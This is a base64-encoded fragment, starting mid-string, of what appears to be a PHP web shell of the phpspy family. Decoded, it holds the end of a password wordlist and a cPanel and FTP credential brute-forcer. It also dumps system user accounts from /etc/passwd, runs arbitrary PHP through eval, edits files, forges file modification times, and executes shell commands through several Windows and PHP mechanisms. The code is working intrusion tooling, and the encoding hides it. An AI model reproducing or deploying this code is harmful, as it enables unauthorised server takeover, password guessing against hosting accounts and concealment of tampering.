lDQp3cml0ZXINCnhhbmFkdQ0KeGF2aWVyDQp4ZmlsZXMNCnhyYXkNCnh4eA0KeHh4eA0KeHh4eHgNCnh4eHh4eA0KeHh4eHh4eHgNCnlhbWFoYQ0KeWFua2VlDQp5YW5rZWVzDQp5ZWxsb3cNCnlvcmsNCnlvdQ0KeW91bmcNCnlveW8NCnl1a2kNCnphY2gNCnphY2hhcnkNCnphcGhvZA0KemFwcGENCnplcHBlbGluDQp6aXBwZXINCnppcHB5DQp6b21iaWUNCnpvbmUNCnpvcnJvDQp6dWx1DQp6eGN2DQp6eGN2Yg0KenhjdmJuDQp6eGN2Ym5tDQp6enp6DQp6enp6enoNCnBhc3N3MHJkcyI7DQppZigkdGFyZ2V0ID09ICcnKXsNCiR0YXJnZXQgPSAnbG9jYWxob3N0JzsNCn0NCnByaW50ICIgPGRpdiBhbGlnbj0nY2VudGVyJz4NCjxmb3JtIG1ldGhvZD0ncG9zdCcgc3R5bGU9J2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAnPjxicj48YnI+DQo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNDAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPjx0cj48dGQ+DQo8Yj4gVGFyZ2V0ICA6IDwvZm9udD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFyZ2V0JyBzaXplPScxNicgdmFsdWU9ICR0YXJnZXQgc3R5bGU9J2JvcmRlcjogZm9udC1mYW1pbHk6dGFob21hOyBmb250LXdlaWdodDpib2xkOyc+PC9wPjwvZm9udD48L2I+PC9wPg0KPGRpdiBhbGlnbj0nY2VudGVyJz48YnI+DQo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPg0KPHRyPg0KPHRkIGFsaWduPSdjZW50ZXInPg0KPGI+VXNlcm5hbWU8L2I+PC90ZD4NCjx0ZD4NCjxwIGFsaWduPSdjZW50ZXInPg0KPGI+UGFzc3dvcmQ8L2I+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHAgYWxpZ249J2NlbnRlcic+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiI7DQokaSA9IDA7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCmVjaG8gIg0KPC90ZXh0YXJlYT4NCjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ncGFzc3dvcmRzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiRwYXNzbGlzdDwvdGV4dGFyZWE+PGJyPg0KPGJyPg0KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwNCjxpbnB1dCBuYW1lPSdvcHRpb24nIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPiBmdHAgPT0+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBdHRhY2snIG5hbWU9J3N1Ym1pdCcgPjwvcD4NCjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L2Zvcm0+PHAgYWxpZ249ICdsZWZ0Jz4iOw0KPz4NCjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgew0KDQpwcmludCAiPGI+IEVycm9yIDogQ29ubmVjdGlvbiB0aW1lZCBvdXQgLCBtYWtlIGNvbmZpZGVuY2UgYWJvdXQgdmFsaWRhdGlvbiBvZiB0YXJnZXQgITwvYj4iOw0KZXhpdDt9DQoNCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgbW9uenRlcmphY2t6QHltYWlsLmNvbSBdIyA8L2I+DQo8Yj4gUmFtcHVuZyBQYWshIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7DQp9DQpjdXJsX2Nsb3NlKCRjaCk7fQ0KDQpmdW5jdGlvbiBjcGFuZWxfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQokZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7DQpwcmludCAiPGI+IEVycm9yIDogQ29ubmVjdGlvbiB0aW1lZCBvdXQgLCBtYWtlIGNvbmZpZGVuY2UgYWJvdXQgdmFsaWRhdGlvbiBvZiB0YXJnZXQgITwvYj4iOw0KZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KDQpwKCI8Yj5bIG1vbnp0ZXJqYWNrekB5bWFpbC5jb20gXSMgPC9iPjxiPlJhbXB1bmcgUGFrISE8L2E+IFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD48L2I+PGJyPiIpO31jdXJsX2Nsb3NlKCRjaCk7fQ0KDQppZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KDQokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7DQokcGFzc2xpc3QgPSBleHBsb2RlICgiXG4iICwgJHBhc3MgKTsNCnAoJzxiPlsgbW9uenRlcmphY2t6QHltYWlsLmNvbSBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7DQpmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiRfdXNlciA9IHRyaW0oJHVzZXIpOw0KZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsNCiRfcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCmlmKCRvcHRpb24gPT0gImZ0cCIpew0KZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCmlmICgkb3B0aW9uID09ICJjcGFuZWwiKQ0Kew0KY3BhbmVsX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCn0NCn0NCn0NCg0KCWZvcm1mb290KCk7DQp9DQoNCg0KDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsNCmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidHZXQgL2V0Yy9wYXNzd2QnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2V0Y3B3ZCcpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCiRpID0gMDsNCiBlY2hvICI8cD48YnI+PHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwicGhwY29kZXh4eFwiIG5hbWU9XCJwaHBjb2RleHh4XCIgY29scz1cIjEwMFwiIHJvd3M9XCIyNVwiPiI7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCiAgZWNobyAiPC90ZXh0YXJlYT48L3A+IjsNCglmb3JtZm9vdCgpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7DQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCglpZigkcGhwY29kZSl7DQoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgew0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoJCX0NCgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldC9waHBzcHkvcGx1Z2luLyIgdGFyZ2V0PSJfYmxhbmsiPkdldCBwbHVnaW5zPC9hPjwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZXZhbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgew0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoJCSRmcD1AZm9wZW4oJG9wZmlsZSwncicpOw0KCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidHYXdlIC8gRWRpdCBGaWxlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBGaWxlIChpbXBvcnQgbmV3IGZpbGUgbmFtZSBhbmQgbmV3IGZpbGUpJywnbmFtZSc9PidlZGl0ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsNCgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJldCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bGknPT43LCdBZ3VzdHVzJz0+OCwnU2VwdGVtYmVyJz0+OSwnT2t0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCglwKCd5ZWFyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOw0KCXAoJ21vbnRoOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdkYXk6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdob3VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ21pbnV0ZTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywndmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ3NlY29uZDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgbmV3dGltZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgew0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCWlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsNCgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoJCQltKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1a3NlcycgOiAnZmFpbCcpKTsNCgkJfQ0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KCQlmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBQcm9ncmFtJykpOw0KCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCgkJcCgnPHA+Jyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCQlwKCc8L3A+Jyk7DQoJCWZvcm1mb290KCk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIENvbW1hbmQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJGV4ZWNmdW5jZGIgPSBhcnJheSgncGhwZnVuYyc9PidwaHBmdW5jJywnd3NjcmlwdCc9Pid3c2NyaXB0JywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpOw0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsNCgl9DQoJcCgnPHA+Jyk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCg0KCWlmICgkY29tbWFuZCkgew0KCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOw0KCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJHdzaCA9IG5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTsNCgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoJCQkkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOw0KCQkJZWNobyAkc3Ryb3V0cHV0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgNCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLA0KCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksDQoJCQkgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKQ0KCQkJKTsNCgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCgkJCWlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOw0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOw0KCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMl0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsNCgkJCQlwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCgkJCX0NCgkJfSBlbHNlIHsNCgkJCWVjaG8oZXhlY3V0ZSgkY29tbWFuZCkpOw0KCQl9DQoJCXAoJzwvcHJlPicpOw0KCX0NCn0vL2VuZCBzaGVsbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3BocGVudicpIHsNCgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7DQoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7DQoJISRkaXNfZnVuYyAmJiAkZGlzX2Z1bmMgPSAnTm8nOw0KCSRpbmZvID0gYXJyYXkoDQoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLA0KCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksDQoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLA0KDQoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLA0KCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwNCgkJMTIgPT4gYXJyYXkoJ1NhZmUgTW9kZScsZ2V0Y2ZnKCdzYWZlX21vZGUnKSksDQoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwNCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksDQoJCTE1ID0+IGFycmF5KCdlbmFibGVfZGwnLGdldGNmZygnZW5hYmxlX2RsJykpLA0KCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksDQoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksDQoJCTE4ID0+IGFycmF5KCdtYWdpY19xdW90ZXNfZ3BjJyxnZXRjZmcoJ21hZ2ljX3F1b3Rlc19ncGMnKSksDQoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLA0KCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLA0KCQkyMSA9PiBhcnJheSgndXBsb2FkX21heF9maWxlc2l6ZScsJHVwc2l6ZSksDQoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwNCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLA0KCSk7DQoNCglpZigkcGhwdmFybmFtZSkgew0KCQltKCRwaHB2YXJuYW1lIC4nIDogJy5nZXRjZmcoJHBocHZhcm5hbWUpKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCg0KCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsNCglmb3IoJGE9MDskYTwyOyRhKyspIHsNCgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOw0KCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOw0KCQlpZiAoJGE9PTApIHsNCgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC91bD